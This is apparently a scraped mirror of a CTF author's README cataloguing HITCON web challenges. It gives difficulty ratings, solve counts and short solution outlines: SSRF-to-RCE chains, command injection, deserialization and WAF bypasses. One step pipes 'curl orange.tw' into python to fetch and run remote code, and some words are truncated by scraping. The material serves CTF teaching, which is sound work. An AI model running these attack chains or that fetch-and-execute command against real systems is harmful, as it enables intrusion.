My-CTF-Web-Challenges - Collection of CTF Web challenges I made

项目说明

My CTF Web Challenges

This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation!
Hope you like it :)

P.s. BTW, the Babyfirst series and One Line PHP Challenge are my fa challenges. If you haven't enough time, please look them at least!

* Babyfirst
* Babyfirst Revenge
* Babyfirst Revenge v2
* One Line PHP Challenge

<br>

And you can find me via:
* Email:
* Blog:
* Twitter:

<br>

Table of Content

* HITCON 2025
* Pholyglot
* No Man's Echo

* HITCON 2021
* W3rmup PHP
* One-Bit Man
* Metamon Verse
* FBI Warning
*

* HITCON 2020
* oShell
* oStyle
* Return of Use-After-Flee

* HITCON 2019 Quals
* Public Network
* Bounty Pl33z
* GoGo PowerSQL
* Luatic
* Buggy .Net

* HITCON 2018
* One Line PHP Challenge
* Baby Cake
* Oh My Raddit
* Oh My Raddit v2
* Why so Serials?

* HITCON 2017 Quals
* BabyFirst Revenge
* BabyFirst Revenge v2
* SSRFme?
* SQL so Hard
* Baby^H Master PHP 2017

* HITCON 2016 Quals
* %%%
* Leaking
* BabyTrick
* Angry Boy
* Angry Seam

* HITCON 2015 Quals
* Babyfirst
* nanana
* Giraffe's Coffee
* lalala
* Use-After-FLEE

* HITCON 2014 Quals
* PUSHIN CAT
* PY4H4SHER
* LEENODE

* WCTF 2016
* BlackBox

* AIS3 Final 2015 Final
* SQLPWN

<br>

Pholyglot

Difficulty: ★★
Solved: 31 / 717
Tag: PHP, SQLite

#### Source Code

* Source

#### Idea

*
* BabyFirst Revenge v2

#### Solution

* TBD

#### Write Ups

* TBD

No Man's Echo

Difficulty: ★★
Solved: 53 / 717
Tag: PHP, TCP/IP

#### Source Code

* Source

#### Idea

* TCP Client Self-Connect (2013)

#### Solution

* TBD

#### Write Ups

* TBD

W3rmup PHP

Difficulty: ★★
Solved: 22 / 666
Tag: PHP, Code Review, YAML ,Command Injection

#### Source Code

* Source

#### Idea

* The Norway Problem, the country code of Norway (NO) becomes False in YAML
* Bypass the escapeshellarg by the logic problem of count() + unset()

#### Solution

* TBD

#### Write Ups

* TBD

One-Bit Man

Difficulty: ★
Solved: 49 / 666
Tag: PHP, Code Review

#### Source Code

* Source

#### Idea

You can flip 1-bit on any file of the latest of WordPress and you have to pwn the server.

#### Solution

Flip the position 5389 of the file /var/www/html/wp-includes/user.php to NOP the NOT (!) operation.

#### Write Ups

* TBD

Metamon Verse

Difficulty: ★★★☆
Solved: 9 / 666
Tag: NFS, SSRF ,RCE

#### Source Code

* Source

#### Idea

The idea is using the SSRF to communicate with the local NFS/RPC server to get the RCE. To complete the exploit, you have to:

1. Construct the RPC/PORTMAP_CALL packet and send to gopher://127.0.0.1:111/ to get the port of mountd service.
2. Construct the RPC/MNT_CALL packet and send to gopher://127.0.0.1:<mnt-port>/ to get the file-handler of /data (remember to specify CURLOPT_LOCALPORT to bypass the authentication)
3. Construct the RPC/NFS_CALL packet and send to gopher://127.0.0.1:2049/ to create a SYMLINK (remember to specify CURLOPT_LOCALPORT to bypass the authentication)
4. Symlink the /app/templates/index.html to a controllable file to get a SSTI and get the RCE!

#### Solution

An dirty exploit code can be found here

#### Write Ups

* TBD

FBI Warning

Difficulty: ☆
Solved: 25 / 666
Tag: MISC, OSINT ,PHP, Code Review

#### Source Code

* Source

#### Idea

The website uses a famous Message Board project futaba-ng, and the ID generation is based on REMOTE_ADDR:

#### Solution

Because of the known IP prefix, you can identify the IP address of Ωrange by brute-force easily.

#### Write Ups

* TBD

Difficulty: ★☆
Solved: 41 / 666
Tag: Browser, Feature

#### Source Code

* Source

#### Idea

Use the Chrome new feature Text Fragments to extract the flag.

#### Solution

* TBD

#### Write Ups

* TBD

oShell

Difficulty: ★★
Solved: 21 / 1281
Tag: BlackBox, Shell ,Command Injection

#### Source Code

* Source

#### Solution

1. Le strace in htop to read enable secret.
2. Writing /home/oShell/.toprc with tcpdump -w
3. Abusing top inspect feature to run arbitrary commands

#### Write Ups

* Writeup from team FrenchRoomba

oStyle

Difficulty: ★★☆
Solved: 10 / 1281
Tag: XSS

#### Source Code

* Source

#### Solution

* The default Apache installation enabled mod_negotiation, which allows .var mapping and you can specify arbitrary content-type there.

test.var

#### Write Ups

* TBD

Return of Use-After-Flee

Difficulty: ★★★★★
Solved: 0 / 1281
Tag: WhiteBox, PHP, UAF, PWN

#### Source Code

* Source

#### Solution

* Exploiting C to pop the shell without known binaries. More detail will be published in my blog soon.

#### Write Ups

* TBD

Public Network

Difficulty: ★☆
Solved: 81 / 1147
Tag: WhiteBox, Perl, Command Injection

#### Source Code

* Source

#### Solution

* Refer my blog and Black Hat 2019 USA slides for details
* Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!
* Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs

#### Write Ups

* TBD

Bounty Pl33z

Difficulty: ★★★☆
Solved: 30 / 1147
Tag: XSS

#### Source Code

* Website
* XSS bot

#### Solution

* Idea from @FD - A little known Ja comment style SingleLineHTMLOpenComment and HTMLCloseComment in EMCA specification.

Here we use unicode U+2028 and U+3002 to bypass \n and . filters.

#### Unintended Solution

* Nesting template expression

#### Write Ups

* TBD

GoGo PowerSQL

Difficulty: ★★★☆
Solved: 16 / 1147
Tag: En Injection, MySQL Client Attack

#### Source Code

* Docker

#### Solution

1. Buffer O the DB_HOST in BSS
2. Due to the patch, we can pollute en which are not in the Blacklist.
3. Hijack MySQL connection by ENV such as LOCALDOMAIN or HOSTALIAES
4. Read /FLAG by LOAD DATA LOCAL INFILE.

#### Write Ups

* TBD

Luatic

Difficulty: ★★☆
Solved: 42 / 1147
Tag: WhiteBox, Redis, Lua

#### Source Code

* Docker

#### Solution

1. O PHP global .
2. Redis implements eval command by string concatenations so that we can escape the original Lua function to o global objects.

#### Unintended Solution

* Lua is so magic that there are several unintended solutions. Sorry for the imperfect challenge :(

#### Write Ups

* TBD

Buggy .Net

Difficulty: ★☆
Solved: 13 / 1147
Tag: ASP.NET, WhiteBox

#### Source Code

* Default.aspx

#### Solution

* Using .NET request to trigger the exception and bypass the filter
* Idea from Soroush Dalili's WAF Bypass Techniques - Using HTTP Standard and Web Servers' Behaviour in AppSec Europe 2018(p30~p34)

#### Write Ups

* TBD

One Line PHP Challenge

Difficulty: ★★★★
Solved: 3 / 1816
Tag: PHP

#### Source Code

* index.php

#### Solution

P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04

1. Control partial session file content by PHP_SESSION_UPLOAD_PROGRESS
2. Bypass session.upload_progress.cleanup = On by race condition or slow query
3. Control the prefix to @<?php by chaining PHP wrappers

* exp_for_php.py
* Offical writeup for One Line PHP Challenge

#### Write Ups

* (English)One Line PHP Challenge
* (中文)One Line PHP Challenge
* hitcon2018 One Line PHP Challenge
* hitcon 2018受虐笔记一:one-line-php-challenge 学习

Baby Cake

Difficulty: ★★★
Solved: 4 / 1816
Tag: Code Review, PHP, De-serialization

#### Source Code

* index.php

#### Solution

Due to the implement of CURLOPT_SAFE_UPLOAD in CakePHP FormData.php. We can read arbitrary files!

* exploit.phar

#### Write Ups

* Baby Cake
* Hitcon 2018 Web - Oh My Raddit / Baby Cake 题解
* HITCON CTF 2018 Web WP 之 Baby Cake

Oh My Raddit

Difficulty: ★★☆
Solved: 27 / 1816
Tag: Obser, DES checksum, Crypto, Web

#### Source Code

* app

#### Solution

1. Know ECB mode from block frequency analysis
2. Know block size = 8 from cipher length
3. From the information above, it's reasonable to use DES in real world
4. The most common block is 3ca92540eb2d0a42(always in the cipher end). We can guess it's the padding \x08\x08\x08\x08\x08\x08\x08\x08
5. Due to the checking parity in DES, we can reduce the keyspace from 26(abcdefghijklmnopqrstuvwxyz) to 13(acegikmoqsuwy)
* Break in 1 second with HashCat
* Break in 10 minutes with single thread Python

#### Write Ups

* Oh My Raddit
* Oh my raddit
* 2018HITCON-Oh My Raddit&v2题解

Oh My Raddit v2

Difficulty: ★★
Solved: 10 / 1816
Tag: Web.py, SQL Injection to RCE

#### Source Code

* app

#### Solution

* Read the package from requirements.txt
* Remote Code Execution in Web.py framework

* exp.py

#### Write Ups

* Oh My Raddit V2
* Oh My Raddit v2
* 2018HITCON-Oh My Raddit&v2题解

Why so Serials?

Difficulty: ★★★★
Solved: 1 / 1816
Tag: De-serialization, RCE, ASP.NET, View State

#### Source Code

* Default.aspx

#### Solution

1. Get the machineKey in web.config by Ser(.shtml or .stm)
2. Exploit ASP.NET ___ by ysoserial.net

#### Write Ups

* HITCON 2018: Why so Serials? Write-up
* HITCON CTF 2018 - Why so Serials? Writeup

BabyFirst Revenge

Difficulty: ★☆
Solved: 95 / 1541
Tag: WhiteBox, PHP, Command Injection

#### Idea

* Command Injection, but only in 5 bytes

#### Source Code

* index.php

#### Solution

You can check the exploit.py for the detail! And there are also lots of creati, you can check the write ups below.

#### Write Ups

* HITCON CTF 2017-BabyFirst Re
* HITCON CTF 2017-BabyFirst Re (Via curl)
* HITCON 2017 CTF BabyFirst Revenge
* HITCON CTF 2017 - BabyFirst Revenge (172 pts.)
* Hitcon CTF 2017 - Baby Revenge
* Hitcon CTF 2017 Quals: Baby First Revenge (web 172) (Via xxd)
* HITCON CTF 2017 BabyFirst Revenge & v2 writeup
* BabyFirst-Re by

BabyFirst Revenge v2

Difficulty: ★★★★
Solved: 8 / 1541
Tag: WhiteBox, PHP, Command Injection

#### Idea

* Command Injection, but only in 4 bytes

#### Source Code

* index.php

#### Solution

1. generate g> ht- sl to file v
2. reverse file v to file x
4. generate curl orange.tw|python;
6. execute x, ls -th >g
7. execute g

You can check exploit.py for the detail!

#### Write Ups

* Baby First Revenge v2 (Via vim) by
* [\[python\] baby-exp.py]()
* How to solve a CTF challenge for $20 - HITCON 2017 BabyFirst Revenge v2
* HITCON CTF 2017 BabyFirst Revenge & v2 writeup

SSRFme?

Difficulty: ★★☆
Solved: 20 / 1541
Tag: WhiteBox, Perl, PATH Pollution

#### Idea

* C (But the latest of Ubuntu 17.04 in AWS is still )
* Perl lookup current directory in module importing
* Perl module URI/lib/URI.pm#L136 will eval if there is a unknown scheme

#### Source Code

* index.php

#### Solution

#### Write Ups

* Another Solution by
* HITCON 2017 SSRFme
* SSRFme by

SQL so Hard

Difficulty: ★★★
Solved: 10 / 1541
Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection

#### Idea

* MySQL max_allowed_packet dropped large size SQL sentence
* Node-Postgres - code execution
* Exploit the RCE in SQL UPDATE syntax

#### Source Code

* app.js

#### Solution

* exploit.py

#### Write Ups

* SQL so Hard by

Baby^H Master PHP 2017

Difficulty: ★★★★☆
Solved: 0 / 1541
Tag: WhiteBox, PHP, Serialization, Apache Prefock

#### Idea

* PHP do the de-serialization on PHAR parsing
* PHP assigned a predictable function name \x00lambda_%d to an anonymous function
* Break shared state in Apache Pre-fork mode

#### Source Code

* index.php

#### Solution

* avatar.gif
* fork.py

#### Write Ups

* По умолчанию Чтение файлов => unserialize !

papapa

Difficulty: ★
Solved: 71 / 1024
Tag: BlackBox, SSL, Pentesting

#### Idea

* Leak the internal hostname from SSL certificate

#### Source Code

* here

#### Solution

#### Write Ups

* HITCON 2016
* HITCON CTF 2016: %%% (Web) Write-up
* [\[HITCON 2016\] \[WEB 100 - %%%\] WRITE UP]()
* hitcon2016 web writeup

Leaking

Difficulty: ★★
Solved: 43 / 1024
Tag: WhiteBox, Ja, NodeJS

#### Idea

* Break Ja Sandbox
* Use NodeJS Buffer(int) to steal uninitialized memory
* Node.js Buffer knows e

#### Source Code

* here

#### Solution

#### Write Ups

* Hello HitCon 2016 CTF
* HITCON 2016 web 总结
* hitcon2016 web writeup

BabyTrick

Difficulty: ★★★
Solved: 24 / 1024
Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize

#### Idea

* Create an Unexpected Object and Don't Invoke \_\_wakeup() in Deserialization
* SugarCRM v6.5.23 PHP反序列化對象注入漏洞
* MySQL UTF-8 collation - SELECT 'Ä'='a' is True

#### Source Code

* here

#### Solution

#### Write Ups

* Hitcon 2016 – Baby Trick
* Hello HitCon 2016 CTF
* hitcon2016 web writeup

Angry Boy

Difficulty: ★★☆
Solved: 43 / 1024
Tag: GrayBox, Java

#### Idea

* new String(new byte[] {1, -1, 1, -1}) will output 01EFBFBD01EFBFBD, not 01FF01FF
* When ‘EFBFBD’ And Friends Come Knocking: Obser Of Byte Array To String Con

#### Source Code

* here

#### Solution

* exploit.py
* decrpt.py

#### Write Ups

* Angry Boy - Web 300 Problem

Angry Seam

Difficulty: ★★★★
Solved: 4 / 1024
Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Ja

#### Idea

* CSS Relative Path O
* Built-in redirection parameter actionOutcome
* RPO Gadgets
* C: JBoss Seam Framework remote code execution

#### Source Code

* here

#### Solution

<br>

P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P

<br>

Intended solution

* Register an account

* Report URL

<br>

Unintended solution

* Register an account
* Update description to
* Login and access

Unintended solution

* C Ja

<br>

Unintended solution

* SESSION manipulation... seam SUCKS

#### Write Ups

* Web500 Hitconctf 2016 and exploit C
* Angry Seam (500 pts)

Babyfirst

Solved: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection

#### Idea

* Use NewLine to bypass regular expression check
* Command injection only with alphanumeric characters

#### Source Code

* here

#### Solution

And there are also lots of creati, you can check the write ups below.

#### Write Ups

* babyfirst (web 100)
* HITCON CTF 2015 Web 100 Web 300 Writeup
* HITCON 2015 Quals: Babyexploit
* Babyfirst (web, 100p, ?? solves)

nanana

Difficulty: ★★★
Solved: 18 / 969
Tag: GrayBox, C, PWN

#### Idea
* Pwn without library
* Format String without output
* Bypass Stack Guard by using o ARGV[1]

#### Source Code

* here

#### Solution

* exploit.py

#### Write Ups

* nanana (pwn, web 200)
* HITCON 2015 Quals: Nanana
* Pwning (sometimes) with style - Dragons’ notes on CTFs

Giraffe's Coffee

Difficulty: ★★★☆
Solved: 16 / 969
Tag: WhiteBox, PHP

#### Idea
* Break PHP PRNG
* Break shared PRNG STATE in Apache Prefork mode

#### Source Code

* here

#### Solution

TBD

#### Write Ups

* HITCON CTF 2015 Web 100 Web 300 Writeup
* Giraffe's Coffee - Web 300 Problem - Writeup by Robert Xiao ()
* HITCON 2015 WEB 300

lalala

Difficulty: ★★★☆
Solved: 2 / 969
Tag: BlackBox, PHP, SSRF

#### Idea

* Bypass SSRF restrictiton with 302 redirect
* Exploit FASTCGI protocol by using GOPHER

#### Source Code

* here

#### Solution

#### Write Ups

* HITCON CTF 2015 Web 100 Web 300 Writeup
* Hitcon 2015 lalala web400 task

Use-After-FLEE

Solved: 1 / 969
Difficulty: ★★★★☆
Tag: WhiteBox, PHP, UAF, PWN

#### Idea

* Bypass open_basedir
* Bypass disable_functions
* PHP use-after-free exploit writing
* Bypass full protection (DEP / ASLR / PIE / FULL RELRO)
* Yet Another Use After Free in unserialize() with SplDoublyLinkedList

#### Source Code

* here

#### Solution

TBD

#### Write Ups

* Use-After-FLEE (pwn, web 500)

PUSHIN CAT

Solved: 8 / 1020
Difficulty: ★★
Platform: BlackBox, PHP, H2, SQL Injection

#### Idea

* SQL Injection on H2 Database
* Execute Code by using H2 SQL Injection

#### Source Code

* here

#### Solution

TBD

#### Write Ups

* HITCON CTF 2014: PUSHIN CAT
* HITCON CTF 2014 - PUSHIN CAT (H2 DB Insert SQL Injection)
* HITCON CTF 2014

PY4H4SHER

Solved: 30 / 1020
Difficulty: ★★☆
Tag: WhiteBox, Python, Collision, HPP

#### Idea

* Python CGI HTTP Pollution
* MySQL old_password hash collisions
* PBKDF2+HMAC hash collisions explained

#### Source Code

* here

#### Solution

TBD

#### Write Ups

* HITCON CTF 2014: PY4H4SHER
* HITCON CTF 2014: PY4H4SHER WRITEUP
* py4h4sher_solution.py
* HITCON CTF 2014

LEENODE

Solved: 2 / 1020
Difficulty: ★★★
Tag: BlackBox, ColdFusion, Apache

#### Idea

* Multilayered architecture
* Double Encoding

#### Source Code

* here

#### Solution

#### Write Ups

* HITCON CTF 2014: LEENODE
* [(web) LEENODE [250]]()
* CTF/Writeup/HITCON2014/LEENODE

BlackBox

Solved: 0 / 12
Difficulty: ★★★★
Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF

#### Idea

* Multilayered architecture
* Default and up to date mod_jk leads to directory travesal
* Bypass WAF by incorrect usage of BASE64 and URLENCODE
* SQL Injection on H2 Database
* Execute Code by using H2 SQL Injection

#### Source Code

* here

#### Solution

* Get source code

* Review code and find a way to bypass WAF

* Write shell

#### Write Ups

TBD

SQLPWN

Solved: 0 / ??
Difficulty: ★★★
Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition

#### Idea

* One-byte off SQL Injection
* Race Condition
* Local file inclusion with PHP session

#### Source Code

* here

#### Solution

* Run exploit.py to win race condition

* Login and SQL Injection

* Local file inclusion with session

#### Write Ups

* AIS3 Final CTF Web Writeup (Race Condition & one-byte off SQL Injection)
* AIS3 CTF Final Web1 & Web2

项目信息

开发语言：PHP

Star 数：2860

技术要点

该项目属于CTF思路方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Collection of CTF Web challenges I made展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。